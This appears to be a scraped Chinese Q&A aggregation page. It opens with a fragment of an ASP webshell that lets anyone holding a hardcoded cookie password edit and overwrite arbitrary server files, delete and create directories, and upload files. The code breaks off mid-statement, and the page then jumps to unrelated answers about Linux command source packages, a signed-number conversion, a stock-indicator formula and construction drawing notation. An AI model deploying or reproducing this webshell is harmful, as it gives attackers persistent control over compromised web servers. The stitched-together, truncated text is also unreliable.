thisfile. dsfile
%>
<script language=vbscript>
msgbox "源文件:<%=whichfile%>" & vbcrlf & "目的文件:<%=dsfile%>" & vbcrlf & "復製成功!要刷新才能看到效果!"
window.close()
</script>
<%
else
if request.form("text")="" then
if Request("creat")<>"yes" then
if Request("attrib")="true" then
whichfile=Request("path")
else
whichfile=server.mappath(Request("path"))
end if
Set thisfile = oFileSys.OpenTextFile(whichfile, 1, False)
counter=0
thisline=thisfile.readall
thisfile.Close
set fs=nothing
end if
%>
<form method="POST" action="<%=rseb%>?q=edit.asp">
<input type="hidden" name="attrib" value="<%=Request("attrib")%>"><table border="0"
width="700" cellpadding="0">
<tr>
<td width="100%" bgcolor="#FFDBCA"><div align="center"><center><p><%=httpt%></td>
</tr>
<tr align="center">
<td width="100%" bgcolor="#FFDBCA">文件名:<input type="text" name="path" size="45"
value="<%=Request("path")%> ">直接更改文件名,相當於「另存為」</td>
</tr>
<tr align="center">
<td width="100%" bgcolor="#FFDBCA"><textarea rows="25" name="text" cols="90"><%=thisline%></textarea></td>
</tr>
<tr align="center">
<td width="100%" bgcolor="#FFDBCA"><div align="center"><center><p><input type="submit"
value="提交" name="B1"><input type="reset" value="復原" name="B2"></td>
</tr>
</table>
</form>
<%else
if Request("attrib")="true" then
whichfile=Request("path")
else
whichfile=server.mappath(Request("path"))
end if
Set outfile=oFileSys.CreateTextFile(whichfile)
outfile.WriteLine Request("text")
outfile.close
set fs=nothing
Response.write "<script>alert('修改成功!要刷新才能看到效果');window.close();</script>"
end if
end if
end if
else
response.write "Password Error!"
response.write "<a href='" & rseb & "?q=" & rseb & "'>【返 回】</a>"
end if
%>
</body>
</html>
<%case "edir.asp"%>
<html>
<head>
<meta HTTP-EQUIV="Content-Type" CONTENT="text/html;charset=gb_2312-80">
<title>目錄操作</title>
<style>
<!--
table{ font-family: 宋體; font-size: 12pt }
a{ font-family: 宋體; font-size: 12pt; color: rgb(0,32,64); text-decoration: none }
a:hover{ font-family: 宋體; color: rgb(255,0,0); text-decoration: underline }
a:visited{ color: rgb(128,0,0) }
-->
</style>
</head>
<body>
<% '讀文件
if Request.Cookies("password")="7758521" then
if request("op")="del" then
if Request("attrib")="true" then
whichdir=Request("path")
else
whichdir=server.mappath(Request("path"))
end if
oFileSys.DeleteFolder whichdir,True
Response.write "<script>alert('刪除的目錄為:" & whichdir & "刪除成功!要刷新才能看到效果');window.close();</script>"
else
if request("op")="creat" then
if Request("attrib")="true" then
whichdir=Request("path")
else
whichdir=server.mappath(Request("path"))
end if
oFileSys.CreateFolder whichdir
Response.write "<script>alert('建立的目錄為:" & whichdir & "建立成功!要刷新才能看到效果');window.close();</script>"
end if
end if
else
response.write "Password Error!"
response.write "<a href='" & rseb & "?q=" & rseb & "'>【返 回】</a>"
end if
%>
</body>
</html>
<%
case "upfile.asp"
if Request.Cookies("password")="7758521" then
set upload=new upload_5xSoft
if upload.form("filepath")="" then
HtmEnd "請輸入要上傳至的目錄!"
set upload=nothing
response.end
else
formPath=upload.form("filepath")
if right(formPath,1)<>"/" then formPath=formPath&"/"
end if
iCount=0
for each formName in upload.objForm
set file=upload.file(formName)
if file.FileSize>
『肆』 如何查看各種linux命令的源碼
用linux一段時間了,有時候想看看ls、cat、more等命令的源代碼,在下載的內核源碼中用cscope沒能找到,在網上搜索了一下,將方 法總結如下:以搜索ls命令源碼為例,先搜索命令所在包,命令如下:
lpj@lpj-linux:~$ which ls /bin/ls用命令搜索該軟體所在包,代碼如下:
lpj@lpj-linux:~$ dpkg -S /bin/ls coreutils: /bin/ls從上一步中可以知道ls命令的實現在包coreutils中,用apt安裝(說安裝有些歧義,主要是區分apt-get -d)該包的源代碼然後解壓,代碼如下:
sudo apt-get source coreutils cd /usr/src/coreutils-XXX #XXX表示版本號 sudo tar zxvf coreutils-XXX.tar.gz 或者只下載源碼,然後手動打補丁再解壓,代碼如下:
sudo apt-get -d source coreutils cd /usr/src tar zxvf coreutils-XXX.tar.gz gzip -d coreutils-XXX.diff.gz #這一步會生成coreutils-XXX.diff文件 patch -p0 < coreutils-XXX.diff cd coreutils-XXX tar zxvf coreutils-XXX.tar.gzOK,這幾步執行完後,就可以進入/usr/src/coreutils-XXX/coreutils-XXX/src中查看各命令對應的源代碼了。關於更多Linux的學習,請查閱書籍《linux就該這么學》。
『伍』 原碼數DFH= ___D . 這個轉換 需要考慮DFH是有符號還是無符號數嗎 結果是多少
這里的DFH是有符號數,因為原碼、反碼、補碼都是針對帶符號數而言的。可以先把DFH轉換成二進制數:11011111,最高位是符號位,「1」表示負數,所以最後的結果為:-95
『陸』 誰有東方財富金融終端的趨勢DK線公式源碼
東方財富沒公布過這個指標的公式源碼,只能模仿例如下圖這種效果.
『柒』 建築施工圖紙中45d是啥意思
d一般是在結構施工圖中出現,指鋼筋直徑,45d是指鋼筋直徑的45倍。它所出現位置的鋼筋的45倍距離或長度。